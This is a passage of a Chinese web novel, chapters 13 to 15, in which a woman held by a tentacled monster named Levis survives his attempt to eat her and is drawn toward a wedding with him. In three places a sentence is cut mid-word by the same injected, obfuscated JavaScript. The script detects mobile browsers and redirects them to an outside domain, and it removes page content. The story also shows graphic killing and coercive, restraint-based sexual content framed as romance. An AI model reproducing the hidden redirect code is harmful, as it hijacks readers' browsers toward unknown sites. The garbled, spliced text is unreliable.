尤琳没理,对准其中一人,扣下扳机,然而枪膛只发出微弱的“咔哒”一声。 糟了! 尤琳骤然意识到,虽然是架空的世界,但这个年代的手枪大多都是不防水的! 她忍不住低骂一句,下什么破雨啊! 那几人也发现了她的手枪被雨淋得熄了火,此刻脸上多了几分被戏弄的恼火,朝尤琳继续逼近。 尤琳转身就跑,却猛地一头撞到了什么柔软的东西,说柔软,却也不软,脑袋还是有些疼的。 她下意识将这个时候出现的所有人都当成了敌人,挥起剪刀正准备将对方戳成马蜂窝,一个熟悉的触感缠住了她的手腕,同时,一只力气极大的手牢牢扣在了她的腰上。 甚至带了点薄怒,用力掐了几分。 尤琳惊呼一声,瞬间知道自己撞上了谁。 没等她抬头看清利维斯的脸,身后传来了几声惨叫,紧接着是“噗”的三声闷响,好像有什么东西被捏爆了。 巷子里弥漫着一股浓烈的血腥气,血水混在雨水里汇聚到尤琳的脚下,将她触地的,脏污的裙摆染成了刺目的红色。 尤琳感觉心跳骤停,不敢回头再看三个人的碎肉能堆成一副怎样的场景。 利维斯杀了人后并没有说话,他沉默着,只死死将尤琳扣在自己怀中,越扣越紧,尤琳觉得他身体柔软得不成样子,好像变成了一摊柔软的泥,能将她整个人吸附进去。 她重重喘息了一下,手里的剪刀掉落在地,发出几不可闻的一声。 已经顾不上利维斯是怎么抓到她的了。 “利维斯……”尤琳颤抖地叫他的名字,下意识踮起脚,去寻找那片更柔软的地方。 然而这招似乎对于利维斯来说已经没用了,他偏过头,躲开了尤琳的亲吻。 然后,冷漠地盯着她。 尤琳浑身都是水汽,湿漉漉的,那双眼睛中带着点迷茫和恐惧。 恐惧?她又在恐惧什么? 第一次是恐惧那些丑陋僵硬的皮套,那这次呢,恐惧他吗? 利维斯觉得自己可能是没有跟尤琳说清楚规则,亦或是她觉得他太好哄了。 他冷漠地启唇,从嗓子里吐出的人声混着某种诡异低沉的混响,完完全全就是利维斯和远古怪物在同时开口:“■■尤琳……吃■■■■……” 13. chapter.13 尤琳被那古怪的声音吓得浑身紧绷,全身的血液好像都是失去了温度,她只能听懂那句话里的个别字眼,但就那个“吃”字来说,让她觉得大事不妙。 可是……跑不掉,脚下的血洼里钻出来了两条鲜红色的触手,一左一右地紧紧缠绕着她,利维斯的身体像是被融化的冰,骤然落地分散成了无数条鲜红的,蠕动的触手,几乎铺满了这条小巷。 那些冰凉黏腻的血色触手不断翻涌鼓起,最后在尤琳面前越变越高,越变越大,直接完全变成了一个巨大的肉瘤,红得发黑。 尤琳回想起原著利维斯吞食赛西莉亚的描写,整个人都失去了思考能力,只能瞪大眼睛,里面满是绝望。 利维斯这次,是真的想要吃了她! 怎么办,亲吻已经不管用了,她还能怎么办?! 其他小说里的女主穿越都拥有主角光环,而她,尤琳,将在五分钟后获得一个天使光环。 肉瘤中间裂开了一道缝隙,里面布满了缝隙的尖牙,像是一片布满尖刀的洞穴,一条触手缠绕在尤琳腰间,将她缓缓拽进那片堪比绞肉机的巨大口腔。 把尤琳……吃掉……藏在体内……跑不掉……跑不掉……家人……留下…… 尤琳被眼前的景象和那些诡异的声音吓得不敢睁眼,就在锋利的尖牙即将触碰到她的脑袋时,远处忽然传来了一声声悠扬的钟鸣。 是教堂! 尤琳陡然睁眼,失神涣散的瞳孔里又凝聚出了希望,她灵机一动,决定再赌一次! 尤琳大喊道:“利维斯,我们举办婚礼吧!” 将她送进口腔的触手停顿了,那肉瘤发出了和刚刚一样的,人与怪物混合的诡异低鸣:“婚礼?” 尤琳浑身都在颤抖,脸上雨水汗水和泪水混合在一起,让她觉得整个人都要融化了。 她颤声说:“是啊,我们不是夫妻吗?夫妻都是要举办婚礼的,这样就相当于向所有人宣告,我们是一起的。” 利维斯似乎心动了,松开了钳制住尤琳的触手。 触手一松,尤琳整个人顿时瘫软下来,直接坐在了地上。 好在地上都是触手,不算太脏。 尤琳缓了好一会儿,才柔声说:“利维斯,你变回来吧,你这样我害怕。” 利维斯沉默了许久,才慢慢收回自己分散开的触手。 肉瘤散开,又重新组合,凝聚出了一个俊美无俦的人形。 尤琳松一口气,感觉天天面对这个玩意,她的心理承受能力都比以前要好上许多了。说起来,她都快要佩服自己了,怎么这么多的灵机一动,而且每次都让她赌成功了。 谁说赌狗赌到最后一无所有,她这不是挺成功的吗? 利维斯从地上抱起湿漉漉的尤琳,以一个熟悉的姿势坐在他的臂弯里,将他身上上好的布料蹭湿,洁白的衬衫上染得都是泥泞。 利维斯很爱干净,他也一向喜欢穿白色的衬衫,但这样的利维斯,却被她蹭了满身的脏污。 尤琳还记得利维斯刚刚想吃了她的事,才不顾他有什么洁癖,干脆更加努力地将他弄脏。 利维斯托抱着她,只是淡淡扫了一眼她不规矩的手脚,问:“尤琳,我们要怎么举行婚礼?” 尤琳停住乱蹭的动作,心虚地说:“唔,婚礼这个东西说起来很复杂,我们还是先找个地方清洗干净,慢慢说吧。” 利维斯说:“好。” 利维斯脚下出现了一个水圈,尤琳只觉得一阵失重感传来,下意识让她抓紧了利维斯的衣服,紧闭着眼,等再次睁开的时候,他们竟然已经到了一个温暖干燥的房间。 卧槽,他该不会就是这样抓到她的吧? 尤琳摊着一张苦瓜脸,彻底心死。 她问:“这里是哪?” 她发现这个房间不是古堡里的地方,不过看上去依旧豪华,宽大的床上铺着一床柔软的被子,前面的壁炉里原本是熄的,在利维斯靠近后就亮起了火堆。 尤琳觉得利维斯已经不算是西方传说里那些传统的怪物了,就他今天展示的这些,都已经涉及到魔法了吧。 利维斯将她抱进浴室,淡声说:“小镇里的房子。” 尤琳说:“非法闯入?” 利维斯将她放进浴缸中,说:“我的。” 说完,他也跟着坐了进来。 尤琳吓得缩在浴缸一角,警觉地盯着他:“你、你、你进来干什么?” 利维斯淡淡看着她:“清洗。” 他目光落在尤琳脏污的衣服上,又说,“尤琳,洗澡要脱掉衣服。” 尤琳:“……”废话,她当然知道洗澡要脱衣服! “那你、你先出去。” 利维斯不语,站起身。尤琳以为他要出去了,结果他开始当着她的面脱、衣、服! 只是这人不管干什么事都没什么表情,脱衣服脱得一脸清心寡欲,不知道的还以为是尤琳逼他脱的。 衬衣的扣子一颗颗解开,露出底下白皙细腻的肌肤,堪比玉的质地,一路往下,是肌肉起伏的线条,紧绷在腰腹,隐约还能看到微微鼓起的青色筋脉,一路往下延伸。 卧槽! 尤琳捂着眼睛扭过头去,一边想看,一边又不敢看。 利维斯很快将自己剥了个干净,尤琳受不了了,怕死的自己把好色的自己在脑子里暴打了一顿后,她捂着眼睛飞速起身,朝浴室外面跑去。 还没跑出浴缸,就被利维斯抓住小腿拽了回来。 尤琳两腿一软,生无可恋地瘫在了浴缸里。 利维斯冷声说:“你要去哪?尤琳?” 尤琳舌头打结,两眼望天:“我想出家。” 利维斯大约是皱了一下眉头:“离家出走,不好。我记得这种的结果,一般是会被抓回来挨打的。” 尤琳背过身去,闷声说了句:“你不懂。” 利维斯探身过来,将她脑袋后用来束发的丝巾摘了下来,头发散落在肩背,像是无数细小的触手同时抚过。 尤琳身子抖了一下,利维斯从身后扶住她的双肩,说:“你在害怕吗尤琳?为什么清洗也害怕?我也没有吓你。” 她肩上的衣带被一点点褪去,露出微微泛红的肌肤。 利维斯对这个过程简直无比熟练,加上触手的配合,尤琳很快也变成了一颗光滑的水煮蛋。她感觉利维斯贴在了她的背后,双手从腋下穿过,环绕在她身前,整个人被环抱着坐在利维斯的怀中。 两人之间隔着唯一的热源。 尤琳感觉脊椎像被电了一下,随后酥麻的电流传遍四肢百骸,但她不敢乱动,也不敢起身。 这要是被拽回去,一个没稳住……天下就要大乱了。 触手拿了一条干净的巾帕,沾了水,开始在尤琳身上擦拭,利维斯的手却也没老实,顺着紧绷的路线往上探索。 尤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15828179|175270||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 琳身子猛地一紧,整个人忍不住往后仰去,利维斯目的达成,顺势低头,在她颈窝处轻轻啃咬了一口。又一条鲜红涨大的触手游了过来,贴着崎岖的山路攀爬。 冰凉滑腻的触感,像蛇,缠绕在尤琳的脖颈上,让她快要不能呼吸。 尤琳喘了一口气,断断续续说:“利维斯,你在、你在干什么?” 这老怪物上岸到底都学了些什么啊! 利维斯诚实地说:“先帮你清洗。” 尤琳眼中蒙着一层水汽,敏锐地捕捉到一个不正常的词:“先?” 他真的只是在帮她清洗,虽然过程花了不少时间,尤琳几次差点被他磨得失去理智,好在最后还是安然无恙地裹在了干燥的浴巾里。 但就像利维斯说的,这只是“先”。 他的触手将尤琳的双手反剪到身后,她的脸埋在松软的枕头里,隐约感觉不妙。 利维斯混沌的声音充斥着整个房间,引起空气的震动嗡鸣,听得尤琳心惊肉跳。 他平静地说:“离家出走的孩子,会受到惩罚。” “啪”的一声,尤琳瞳孔瞬间放大,整个人往前一蹿。 不疼,但……很奇怪。而且,这个情景怎么似曾相识? 利维斯动作停顿片刻,尤琳从枕头中抬头的时候,看到满室都爬满了密密麻麻的鲜红色触手,身体一边闪烁着明亮的光芒,一边慢慢鼓动,像在呼吸。 又一条触手打了下来,尤琳赶紧将头埋进枕头里,利用羽绒减弱声音。 有什么东西流了出来,但很快就被吸收干净。 尤琳瞪大了眼睛,全身紧绷。 触手收紧,她被迫后仰,屋外的毛毛细雨转眼变成了瓢泼大雨,一遍遍冲刷着鲜红的土地,最后完全渗进红土的缝隙中。 她张开干燥的唇,第一次觉得还不够。 利维斯终于抬起头,满室都是他蛊惑磁性的声音:“尤琳,这是你第二次离家出走了。” 尤琳浑身难受,不知道是不是壁炉的火太旺,她热得整个人像做了几个小时的桑拿,只能慢吞吞地,磕磕绊绊地表达自己的诚意:“不、不跑了。” 打死她也不跑了。 打又打不过,逃又逃不掉,利维斯就像个作弊的人开着逆天的挂,这破游戏根本没法玩。 除非她换个思路,谁说一定要逃跑才算赢,把BOSS攻略了不照样可以吗?这样他就是她的人了,以后去哪都踩着一个深海大鱿鱼,多拉风! 而且……她发现她现在好像很想要。 她感觉自己每次靠在利维斯怀里和他亲近,都有种在死亡的游离线上行走的感觉,心脏狂跳,肾上腺素也跟着飙升。 一边生,一边死,这条线几乎要将她的大脑割裂——这个世界最危险的怪物,也恰好是最有安全感的保镖。 危险和安全,本就是两级相反的状态,她却在这种状态里寻觅到某种平衡,并且……开始趋于享受这种诡异的刺激。 尤琳觉得自己简直有病。 都怪利维斯,他才是最大的病毒。 但现在,他是她的解药。 尤琳张了张口,刚要说话,忽然感觉又有东西流了出来,但这次第六感告诉她,和之前不一样。 利维斯的手刚探上来,也注意到不对劲,他迟疑了一下,瞬间撤掉尤琳身上的所有触手。 尤琳疲惫地斜躺在一旁,有些尴尬地不敢抬头。 14. chapter.14 利维斯作为上岸多年的怪物,只是不太了解人类的情感,但对于人类的身体构造,和女性的经期问题,他并非完全不懂。 很快,利维斯已经换好了干净的床单,将背对着自己的尤琳轻轻揽进怀里。 怀里的人颤了一下,然后往外挪了挪,说:“好冷……” 没来的时候没感觉,来了简直是天崩地裂,尤琳平日里贪凉贪多,只有这种时候才会稍稍后悔一下,变得极其怕冷。 偏偏利维斯浑身都是凉的。 她眯着眼,感觉脑袋都开始晕了,不舒服地嘟囔着,离身后的大冰块又远了些。 利维斯望着尤琳的背影沉默了两秒,大手继续将她拽了过来,尤琳这种时候烦得不行,干脆利落地给了利维斯一个肘击,骂道:“让我休息会儿行不行!” 利维斯胸膛挨了一击,没什么感觉,被骂了也没吭声,掰虾似得将尤琳抻直了,然后将手覆盖到她的小腹上。 经期加上头晕难受的尤琳堪比一座随时会喷发的火山,正打算跟利维斯拼个你死我活的时候,忽然感觉小腹传来一阵暖意,这股暖意甚至穿透了皮肉,一直蔓延到全身,简直比暖宝宝还神奇。 她舒服地眯起眼睛,抱着利维斯的手臂登时没了火气。 利维斯目光落在两人缠绕在一起的头发上,一黑一白,看起来很是般配。 室内寂静了一会儿,尤琳小声地开口,问:“利维斯,你怎么没早说你还会这些?” 利维斯声线平稳冷清:“哪些?” 尤琳说:“就……瞬移啊,点火啊,发热啊这种……既然会瞬移,为什么还要坐马车来镇上?” 为此还砍了一条触手当车夫,这不是多此一举吗? 利维斯用空出的手缠绕起一缕黑发,在修长的指间把玩,慢悠悠道:“如果我早说了,尤琳还会逃吗?” 尤琳一愣,像是被电了一样陡然睁大了眼睛:“你……”她这才后知后觉地意识到什么,“你是故意的!” 她就说事情怎么会进展得那么顺利,敢情他是在测试自己会不会跑! 尤琳一想到她像个傻瓜一样跑了两次,利维斯却在暗中看着她的狼狈,顿时有种被戏弄的感觉,什么也顾不得了,直接从床上坐了起来,一脚踹在利维斯身上。 恼怒道:“滚出去。” 利维斯沉默地看着她,没动。 尤琳嗤笑一声,想起来了:“不对,这里是你的家,该走的是我才对。” 她直接赤脚下床,有些趔趄地往门口走去,拧住了门把手,却没转动,一条触手牢牢缠在了门上,不让她拧开。 尤琳气得眼眶湿热,给了那触手一巴掌:“滚开!” 那触手的身体没让开,脑袋却是动了动,朝尤琳伸来,轻轻舔去她脸上的泪。 尤琳张口骂道:“舔舔舔!就知道舔!舔你的马桶圈去!” 见那触手还是纹丝未动地守着们,她气得抓过那条触手就往死里咬,只是这玩意看着柔软,但一点都咬不动。 尤琳又气急败坏地将那条触手甩在一边,呸呸了几声,使劲擦着嘴巴。 本来只是生气自己被戏弄,直到这一刻,另一种心情却浮了上来。 为什么她总是寄人篱下,为什么格格不入要离开的总是她?她也想要有自己的家,能够自己做主,随心所有,无论身处何处,最后想起来总能回去的家。 不想再听别人说“离开我的家”,也不想看别人的脸色小心翼翼,她简直受够了! 身后的阴影覆盖而上,尤琳感觉到利维斯的靠近,立马抹了抹眼泪,将自己缩在墙角,面对着墙壁不想让他看见,整个人显得无助又委屈。 利维斯站在两步之外,触手缓缓收回了体内。 通过眼泪,他看到了一些细碎的画面。 他还不是很能理解那些画面里的意义,只能感觉到尤琳很不开心,那些房子不是“家”,亲人在的地方也不一定是“家”,她住得无可奈何,就像现在一样。 那到底什么才是家? 利维斯众多的意识中,没有一个思考出最终的答案。 最后,他在给尤琳一双鞋子,和拥抱她中迟疑。 尤琳一向不喜欢把悲伤的情绪外泄,这让她觉得自己很矫情,只要有个安静独处的空间释放一下就好了。 就能好很多…… 一个温热的怀抱贴了上来,对方比她高出太多,只能勉强将下巴靠在她的脑袋上,整个人将她紧紧圈牢,形成一个狭窄的空间。 利维斯没什么情绪的声音落在她的头顶,轻轻的,像一片羽毛,说:“对不起,尤琳。” 尤琳怀疑自己是不是听错了,怔了好半晌,还没等回过神来,利维斯又蹲下身,半屈膝着,让她坐在自己腿上。 他往旁边的虚空中一掏,抓出了一双干净的短跟小皮鞋,帮尤琳穿上。 尤琳不明所以,以为利维斯这是要让她离开的意思。 利维斯却说:“尤琳想去哪都可以,记得回家。” 尤琳看着脚上干净合适的鞋子,还没消气,但声音已经小了一些:“这里又不是我的家……” 说完,悄悄打量了一眼利维斯的脸色。 利维斯表情很少有变化的时候,总是一脸淡漠地做任何事,只有眼神会有些许不同,尤琳起初从那双眼睛里看出了点不高兴,但很快就散去,汹涌的海水变得柔和,在阳光下泛着粼光。 他说:“尤琳在哪,哪就是家。” 尤琳刚动容一瞬,又撇撇嘴,心想:男人的嘴,骗人的鬼。 利维斯转而又从虚空中掏出了一大堆钥匙,丁零当啷的,跟什么似得一把全丢在地上。 尤琳看着地上一摊散落的钥匙,傻眼道:“这些是什么?” 利维斯淡声说:“房子的钥匙。上面有我的能力,只要尤琳转动钥匙,就能……回家。” 尤琳:“这么多?” 利维斯说:“这些只是黎兰的,还有……” 黎兰是他们现在所处的国家,眼见利维斯还要再掏,尤琳赶紧一把抓住他的手,说:“够了够了,再炫就过分了。” 利维斯收回手,静静看着尤琳,像是等她挑选。 尤琳情绪渐渐冷静了下来,心想利维斯既不肯放她离开,她现在也无处可去,不如暂时留下再陪他玩一段时间,然后走一步看一步。 她看着地上一堆乱七八糟各不相同的钥匙,又看了眼利维斯一直盯着自己的眼睛,最后犹豫了下,问:“古堡的钥匙是哪个?” 利维斯嘴角几不可闻地一牵,从虚空中抓出了一把黑色的钥匙,钥匙上方的孔洞中被一条银链穿过,做成了一条项链样的饰品。 尤琳感觉哪里有点怪,但又说不上来,利维斯已经将钥匙项链挂在了她的脖子上,长度刚好能隐没进衣服里。 利维斯亲了亲她的脸,顿了一下,才说:“尤琳,你好烫。” 尤琳摸了下自己的额头,发现确实有点烫,平静地说:“可能是发烧了吧。” 淋了不少雨,又受了不少的惊吓,加上经期本来抵抗力就差些,一来二去的折腾不生病才奇怪。 平时利维斯身上太凉,总显得她温度太高,习惯后尤琳也没发现今天身体的温度异常,只感觉脑袋有点晕,想躺着。 利维斯帮她把鞋脱了,又送回床上。 不知道这个年代有没有什么退烧药,尤琳两眼烧得蒙圈,看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15834712|175270||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着利维斯说:“我想睡一会。” 利维斯揽着她说:“你病了,尤琳。” 尤琳浑身疲惫,懒洋洋地说:“我知道,那你有药吗?” 利维斯没说话,头却凑近,深深地吻了下来。 尤琳觉得自己也是胆子肥了,借着脾气烦闷地将他推开,又踹了他一脚:“干什么呢。” 利维斯用指腹蹭了蹭嘴角的水渍,说:“帮你治病。” 尤琳狐疑地盯着他:“有你这么治病的吗?” “有。”利维斯扣住她的脑袋不让她乱动,又细细舔吻了上来。 不用于以往的攻城略池,夺取呼吸,这次反倒是他在输送着什么,清凉的液体慢慢拂过每一寸焦热的土地,让尤琳心头的燥热也一并舒缓。 但心里的燥热抚平了,其它地方的火焰又起。 不能再这样了。 尤琳咬了下利维斯的舌尖,退了出来,有些小声地说:“就没有什么体面的方法降温吗?你这么厉害,或许打个响指我就能好了?” 利维斯注视着她,眼里海波荡漾,说:“有。” 他不依不饶地重新压近,“但我拒绝。” …… 尤琳也忘了昨天到底亲了多久,就记得亲得舌头都麻了,利维斯才输送完最后一点清凉。 退烧后她总算睡得舒服些了,醒来后利维斯已经不见了,一下子少了“早上好”,她竟有些不太习惯。 床边规规矩矩摆着一双毛茸茸的拖鞋,看上去舒适柔软,尤琳穿上后打开房门,闻到楼下传来一阵熟悉食物的香味,勾得肚子叫了好几声,连忙往餐厅跑。 餐桌上摆着记忆中的蒸鱼,炒肉,还有土豆丝……尤琳恍惚了一下,以为自己睡一觉醒来回到了现代,又或者穿越根本就是一场无稽之谈的梦。 厨房里传来食物烹煮的声音,有人正在剁菜,尤琳慢慢挪过去一看,只见利维斯袖口挽起,露出一截青筋隐伏的小臂,一手拿刀,一手扶在肉上,动作利落地切割,脸上是一如既往的阴冷。 ……虽然很帅,但尤琳仿佛看到了某位刑侦界的著名厨艺大师,不由自主打了个寒颤。 好吧,没有回去,也不是做梦。 尤琳扒在门口,探头问:“为什么不让你的触手来做这些?” 利维斯头也没回,专注盯着锅里,一本正经地说:“因为做饭是丈夫做的事。” 尤琳感觉心里有些微妙,一时间不知道该说什么。 利维斯分出一条触手拍了拍她的脑袋:“再等一会儿,就快好了。” 尤琳便回到餐桌前坐下,见利维斯没出来,做贼似得偷了一小块炒肉丢进嘴里。 “!”就是这个味! 尤琳简直感动得流泪。 没多久,利维斯又端着一锅白萝卜炖肉汤出来了,香气直往尤琳的鼻子里钻,馋得她两眼放光。 尤琳一边口水横流,一边好奇问:“你怎么会做这些菜?” 利维斯打汤的动作停顿了一下,盛好后将碗放在尤琳面前:“以前跟古国人学过。” 他撒谎了,明明是从尤琳的记忆里偷学的。 “古国?” 尤琳喝了口味道鲜美的萝卜炖肉汤,心想,难不成这个世界古国的设定,借鉴的就是她现实的国家吗? 美食在前,她也没细究设定的事,这顿饭是她进入这个世界以来,吃过最满足的一餐,连带着那些不愉快的心情都烟消云散了。 饭后她眯眼坐在位置上摸着肚子休息,利维斯一边收拾碗筷,一边说:“尤琳,明天我们就举行婚礼吧。” 尤琳打了个嗝,瞪着利维斯:“啊?” 不是,哥们,你来真的啊? 15. chapter.15 尤琳并不觉得利维斯想和她成为夫妻是因为爱,只是这怪物的执念让它想要一个家人,或是一个妻子,而尤琳只好哄骗它,满足它的愿望。 反正只是一张嘴,不用负任何责任,如果不是因为昨天的危险,她根本不会提到婚礼这件事。 但利维斯却兴致勃勃,尤琳只好说:“明天不行。” 利维斯眼中一沉:“为什么?” 尤琳也没想好接下来该怎么办,只能先拖延时间,声称这是她老家的风俗,需要挑一个良辰吉日,也就是好日子才能举行婚礼。 利维斯沉默一会儿后,点头表示答应了,然后拐进厨房洗碗。 尤琳松了口气,感觉这招也拖延不了太久,总不能真的跟利维斯结婚吧。 她对婚姻没有任何向往,甚至一度觉得婚姻是道束缚,就算是再爱一个人,也不会跟他结为夫妻,只能接受谈一辈子的恋爱。 只是她这样跟利维斯说的话,利维斯会不会将这视为背叛的一种?明明当初是她提出要成为他的家人,成为他的妻子。 啊啊啊啊!可是不这样说她就要死了啊! “唉。”尤琳烦躁地抓了抓脑袋,垂头丧气坐在椅子里,深深叹了一口气,“男人就是麻烦。” 目前来看,她似乎只有两条路可以走: 第一条,逃跑。那是不可能的,利维斯能力强的变态,兴许还有很多没有告诉她的能力,她根本跑不掉,所以pass。 第二条,攻略。让利维斯真的爱上她,或许这样无论她说什么做什么,利维斯都不舍得吃掉她,并且,他会更听她的话。 但是怪物真的可能喜欢上人类吗? 他喜欢和她亲吻,也许只是因为从未有过这样的感觉,一旦他对这件事感到腻歪了,她是不是会被抛弃? 尤琳想着想着,发现不管怎么走,好像都是一条走不通的死路,顿时心情极其郁闷。 没了逃跑的念头后,日子反倒无聊了起来,一连在这座屋子里住了好几天,尤琳窝在沙发里百无聊赖地晃着腿,午后的阳光在客厅洒落一片,室内只剩下利维斯翻书的声音。 尤琳凑过去想看看他在看什么,发现那是一本图册,上面画着一些婚纱的款式。 他还没忘呢? 利维斯按住了她要跑的身体,抓到自己怀里来,两手摊开图册让她看。 他的声音轻轻落在耳畔,好听得过分,但问的内容却让尤琳有些忐忑。 他说:“尤琳喜欢什么款式?” 尤琳:“……” 这跟问她喜欢穿印着“囚”字的囚服,还是喜欢印着“犯”字的囚服有什么区别? 尤琳哪种都不想选,干脆夺过图册一盖,说:“我们出去散散步吧。” 正好带利维斯出门观察一下他的反应情况,看下他到底是怎么回事。 黎兰已经进入了初冬,但这里的冬日并不算寒冷,和煦的阳光从两侧茂密的树隙中穿过,在小路上投落出一片片斑驳的影子,落叶铺满,踩上去能听到细碎的声响。 两人安安静静并肩走在街道上的时候,让尤琳不由自主生出了一种错觉,就像是他们真的只是一对再正常不过的情侣。 她小心翼翼用余光扫视利维斯的表情,发现平常想要通过表情观察他的状态几乎是一件不可能的事。 嗯……但这种时候又不能让他放出触手。 尤琳试探地放慢了脚步,想要落到利维斯身后,利维斯头也没回,却一把伸手抓住了她。 尤琳觉得有些奇怪,怎么感觉他像应激了一样? 可之前他不是就喜欢看她折腾得跑来跑去,然后再轻而易举地将她抓回来吗? 尤琳没想通,只好说:“利维斯,我真不逃了。” 利维斯说:“嗯,我知道。” 知道你还抓那么紧?! 尤琳叹了口气,毕竟是自己拉他出来散步的,便扯下他的手,牵着他的袖口往前走去。 这个时间路上有不少行人,迎面还有一对头发花白的老夫妻手牵着手经过,看上去感情很好。 他们冲尤琳微笑着点了下头,尤琳愣了一下,也冲他们笑笑,然后,身边的人便拽不动了。 尤琳转过头:“怎么了?” 利维斯没说话,只是默默地拉起她的手,将瓷白修长的五指卡在她指间的缝隙中,像是好奇的试探,缓缓将手指推入。 冰凉的五指慢慢挤了进来,尤琳感觉手指间像是有蚂蚁在爬动,直到十指相扣的一瞬间,那股奇怪的痒意才淡淡消去。 她无意识地舔了舔干燥的唇,意识到利维斯是在模仿刚刚那对老夫妻的举动。 而且,这好像是他们第一次正儿八经的手牵手。 利维斯新奇地看了眼两人交握的手,紧接着目光落在尤琳的脸上:“尤琳,你又生病了吗?” 尤琳飞快地说了句“没有”,继续拉着他往前,心想这条路怎么就走不到头了呢。 偶尔路过的人都对他们会心一笑,有一位少年骑着自行车路过,车前满载着鲜花,路过尤琳身边的时候就摘起一朵轻轻丢进尤琳怀里,笑容飞扬:“祝福你们!” 尤琳无法解释,只能试图去寻找周围的草,拔一棵,丢回去——草! 忽然,她感觉牵着自己的手紧了紧,像是在忍耐什么,抬眼看去,利维斯那张紧绷的脸上像冰雪遇春,有了一点融化的迹象。 尤琳神思微动,隐约感觉到利维斯好像很高兴? 平时他的情绪总是很淡,不怎么明显,只有当情绪特别激烈的时候,尤琳才会在他脸上看到一些痕迹。 现在,他嘴角轻微上扬着,尤琳怀疑他的触手要是没藏起来,现在估计都能翘到天上去了。 她试探地问:“利维斯,你在开心吗?” 利维斯依旧没什么表情,“嗯”了一声。 尤琳:“……你在开心什么?” 利维斯握着她的手紧了紧,声调有了上扬的迹象:“尤琳,散步很有意思。” 像是一滴雨水落在了平静的湖面。 尤琳看着他的脸,暖黄的光在他苍白的肌肤渡上一层温柔的光,好像人类一样,也有温度。甚至于她能感受到他紧握着她的手,脉搏跳动沉稳有力。 她好像隐约猜到了什么。 也许利维斯想举办婚礼,是因为她的那句“向所有人宣布我们是一体的”,就像现在一样,只要他们手牵着手并肩而行,所有人都会自然而然地以为他们是情侣。 但为什么要让所有人知道他们的关系?并且一定要举行一个仪式来证明? 尤琳思考良久,猜测这玩意儿是不是就像是情侣在一起后想要发朋友圈一样。 利维斯是想要炫耀他有家人了,还是因为……他没有安全感,害怕她会离开,所以要用这种仪式打上他的烙印? 亦或是两者都有。 尤琳有些蠢蠢欲动,像是发现了一条隐藏的支线任务。 这个答案让她忽然想试着走第二条路——再赌一把。 就赌怪物也会爱人。 * 两人散步到街上时,经过街角的那家服装店,尤琳上次逃跑的那家。 她想了想,故意拉着利维斯靠近,然后悄悄观察着他的表情。 虽然是怪物,但应该和宠物差别不是很大吧,尤琳心想,如果他真应激了的话,就会对这个地方表现出抗拒。 果然,利维斯看见这家店的时候,淡漠的眉宇间隐约露出一丝不悦,像是想起了不好的事。 尤琳思考了一下。 如果要走第二条路,她是不是得先给他一些安全感?攻人先攻心,想必攻怪物也是一样的。 她拉着利维斯故作可惜地说:“上次那些衣服我都还没来得及试呢。” 利维斯声线冰冷地说:“我让人送到家里来。” 尤琳拒绝了,拉着他走了进去。 店员看见这两人,一眼就认出了是上次在店里莫名消失的两位,毕竟他们这样的搭配可不多见。 尤琳表示上次突然离开是因为家里有急事,还想起来上次换了一件衣服,好像还没付钱。 但店员好像没有在意是多紧急的事才能让她不走大门直接翻窗离开,也没有在意上次被她穿走的那件衣服,她依旧喜笑颜开,对两人恭敬有礼。 “没关系,利维斯先生已经付过五倍的价钱了。” 五倍!? 尤琳错愕地扫了利维斯一眼,心想真是有钱烧得慌。 不过她没想到他忙着抓她的同时,还能想到把钱付了,以至于不在人类世界太过扎眼。至于那三个人的尸体,尤琳并不关心利维斯是怎么处理的。 利维斯紧紧握着她,虽然面无表情,深邃的蓝色眼眸中却浮现出焦躁的神色。 尤琳感觉他这次,好像比之前更怕她离开了?是因为她承诺过的婚礼吗? 尤琳安抚地拍了拍利维斯的手,说:“我先去挑几件衣服试试,然后我们一起回家。” 利维斯望着她,没动,只像上次那样唤了她一声:“尤琳。” 但是上次,他笃定了尤琳会逃跑,也笃定自己能抓到她,这次却像是在担心什么。 尤琳迟疑了一下,直接当着店员的面踮起脚尖,在利维斯唇上轻轻咬了一下,给他一点安全感。 店员已经是个中年女人了,饶是看多了这些甜蜜亲热的小情侣,也不明白为什么试个衣服还能整出一副生离死别的样子。她纳闷了一会儿,看见尤琳其实没有挑选,只是随意拿了旁边的一件衣服,然后走进了隔间。 尤琳一进隔间,就感觉到了一股强烈的视线落在背后,简直像是利维斯明晃晃地站在身后盯着她,直白地告诉她——他在看着她。 也许那天他也是这样盯着她的,但为了测试尤琳,故意将视线存在感抹去。 尤琳叹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15847829|175270||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了口气。 